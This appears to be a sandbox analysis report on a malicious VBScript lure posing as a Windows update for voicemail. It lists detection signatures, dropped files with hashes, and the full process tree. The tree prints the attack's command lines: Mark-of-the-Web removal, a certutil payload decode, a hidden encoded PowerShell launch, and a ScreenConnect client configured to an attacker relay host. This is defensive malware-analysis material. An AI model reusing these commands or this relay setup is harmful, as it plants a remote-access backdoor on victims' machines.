Analysis

  • max time kernel
    148s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 12:22

General

  • Target
    install-windows-update-to-play-voicemail.vbs
  • Size 7.2MB
  • Sample260930-pjzzmafa82
  • SHA256 2ea2157403e23b6607fc317c4136ac1c0292f2876f8dfac6fdce2cb1138ba228
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 6 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Payload decoded via CertUtil.

  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install-windows-update-to-play-voicemail.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:6112
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c type nul > "C:\Users\Admin\AppData\Local\Temp\install-windows-update-to-play-voicemail.vbs:Zone.Identifier" 2>nul
      2⤵
      • Executes a command shell one-liner
      • NTFS ADS
      PID:2024
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net session >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3952
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2660
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:3064
      • C:\Windows\System32\certutil.exe
        "C:\Windows\System32\certutil.exe" -f -decode "C:\Users\Admin\AppData\Local\Temp\rad3FDEF.tmp.b64" "C:\Users\Admin\AppData\Local\Temp\radD05A2.tmp_cert.bin"
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:5088
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAG4AdgA6AE0AVwBBAF8AUABBAFkATABPAEEARAAgAC0AVwBhAGkAdAA=
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2604
        • C:\Users\Admin\AppData\Local\Temp\payload.exe
          "C:\Users\Admin\AppData\Local\Temp\payload.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2348
          • C:\Windows\SysWOW64\msiexec.exe
            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\491cc31c81cd4889\ScreenConnect.ClientSetup.msi"
            4⤵
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SetWindowsHookEx
            PID:5776
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3784
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 0A14D25F198226AEFD81A3A68F4319E0 C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3048
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6A35.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240806640 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:4632
      • C:\Windows\system32\srtasks.exe
        C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
        2⤵
          PID:5896
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding C6C3B7274B8885AD95F3A2F2E5954D39
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:5740
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 7941562D8E2A0979A1647BE42EBF31BD E Global\MSI0000
          2⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:3260
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:1792
      • C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.ClientService.exe
        "C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.cityofgadewater.com&p=8041&s=54dcd11b-ec0c-4082-a947-7dd444742b50&k=BgIAAACkAABSU0ExAAgAAAEAAQDlrwvxcSk3k6YeIXjb0IjYO9hs4nbcHzRLTw3IzmJ9diPItpSFmgf4H%2b%2fg0xWN5utkKo7sXqJO393%2f6HpVbbewm06zAF2Aj%2fZeo%2bgUVE0I9a2C3L74Sv02iIeBvicqFHPWnC8fR4qSIZDYWWqAVvozCFfzS4989DNXtx%2bnnZHANKe4X%2fDNsdMNGiWpY0UmDiimJmy1qKRVEYLrlaZVqhLb4bpHM%2fr0fKV3KHcJlQsng8Nnws93HbtRisKGAOvMrYpwke5eiCcvimwRMt57iCrASr06zhPmCcsA73cbhdTx5Qd4iDKhDBee3qXG5VVwD3k5IXqqDivmeZO7HBXVbqyi"
        1⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in System32 directory
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4888
        • C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe" "RunRole" "92940e2c-7e32-4b1b-8ab1-14a000dc8a4f" "User"
          2⤵
          • Executes dropped EXE
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:2016
        • C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe" "RunRole" "8509fc11-89a2-4e12-91ef-b7f3ee5cfb29" "System"
          2⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          PID:5696

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e5ad67c.rbs

            • Path C:\Config.Msi\e5ad67c.rbs
            • Size 214KB
            • SHA256 d892d6d09bd275b2e28a1412416dc9a8a3cd5273fc085008c74fca2c83452c01
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\Client.en-US.resources
            • Size 48KB
            • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\Client.resources
            • Size 28KB
            • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.ClientService.dll
            • Size 66KB
            • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe
            • Size 593KB
            • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\app.config
            • Size 508B
            • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (491cc31c81cd4889)\system.config
            • Size 947B
            • SHA256 0b4f96f959654ef0768acfe20bda474a8b684243900840e6046ca0382885d504
            • MD5 SHA1 SHA512 TLSH

            MSI6A35.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6A35.tmp
            • Size 1.0MB
            • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6A35.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6A35.tmp-\ScreenConnect.Core.dll
            • Size 538KB
            • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6A35.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6A35.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientSetup.msi

            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\491cc31c81cd4889\ScreenConnect.ClientSetup.msi
            • Size 9.5MB
            • SHA256 7c89fe36014e078e229a8050394dcfeae46fac58b5bdef240b34d800bd29f923
            • MD5 SHA1 SHA512 SSDEEP TLSH

            rad3FDEF.tmp.b64

            • Path C:\Users\Admin\AppData\Local\Temp\rad3FDEF.tmp.b64
            • Size 7.2MB
            • SHA256 c34253ae413b903faa078e871af2830195550ca0072fccf049c3fba8ad14f2a5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            radD05A2.tmp_cert.bin

            • Path C:\Users\Admin\AppData\Local\Temp\radD05A2.tmp_cert.bin
            • Size 5.4MB
            • SHA256 63e3142f8afedfb3b158b7a50930a10f8cc053d8b9e36588dfb3c43865aa341c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSIDD52.tmp

            • Path C:\Windows\Installer\MSIDD52.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 55325922a966421829579d8104bfccd1ee913e76837eedbb117aa5f1c25fb8d8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {2d3552af-c550-492c-bf7e-315e79b68031}_OnDiskSnapshotProp

            • Path \??\Volume{e35b4427-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{2d3552af-c550-492c-bf7e-315e79b68031}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 d79abb92f45df57fd823c9759919b99008175829eb84e51ed81340eeb1b2c69f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/2016-129-0x0000000000DB0000-0x0000000000E48000-memory.dmp

            memory/2016-131-0x000000001BEB0000-0x000000001BF3C000-memory.dmp

            memory/2016-132-0x000000001C0F0000-0x000000001C29C000-memory.dmp

            memory/2016-135-0x0000000002F00000-0x0000000002F18000-memory.dmp

            memory/2016-130-0x0000000002EC0000-0x0000000002EF6000-memory.dmp

            memory/2016-136-0x0000000002F20000-0x0000000002F61000-memory.dmp

            memory/2016-133-0x000000001C2A0000-0x000000001C428000-memory.dmp

            memory/2016-134-0x0000000001860000-0x0000000001878000-memory.dmp

            memory/2348-10-0x00000000058D0000-0x000000000595C000-memory.dmp

            memory/2348-11-0x0000000003450000-0x0000000003472000-memory.dmp

            memory/2348-12-0x00000000059F0000-0x0000000005B9C000-memory.dmp

            memory/2348-9-0x0000000005CF0000-0x0000000005FE2000-memory.dmp

            memory/2348-8-0x0000000003300000-0x0000000003308000-memory.dmp

            memory/2348-13-0x00000000065A0000-0x0000000006B5A000-memory.dmp

            memory/2604-6-0x000001E620D00000-0x000001E620D22000-memory.dmp

            memory/4632-46-0x0000000005BB0000-0x0000000005D5C000-memory.dmp

            memory/4632-34-0x00000000058B0000-0x00000000058DE000-memory.dmp

            memory/4632-42-0x0000000005970000-0x00000000059FC000-memory.dmp

            memory/4632-38-0x0000000003870000-0x000000000387A000-memory.dmp

            memory/4888-89-0x0000000001C10000-0x0000000001C28000-memory.dmp

            memory/4888-118-0x0000000004510000-0x0000000004551000-memory.dmp

            memory/4888-120-0x00000000047A0000-0x0000000004875000-memory.dmp

            memory/4888-116-0x00000000045B0000-0x0000000004642000-memory.dmp

            memory/4888-115-0x00000000044D0000-0x0000000004506000-memory.dmp

            memory/4888-111-0x0000000004480000-0x00000000044D0000-memory.dmp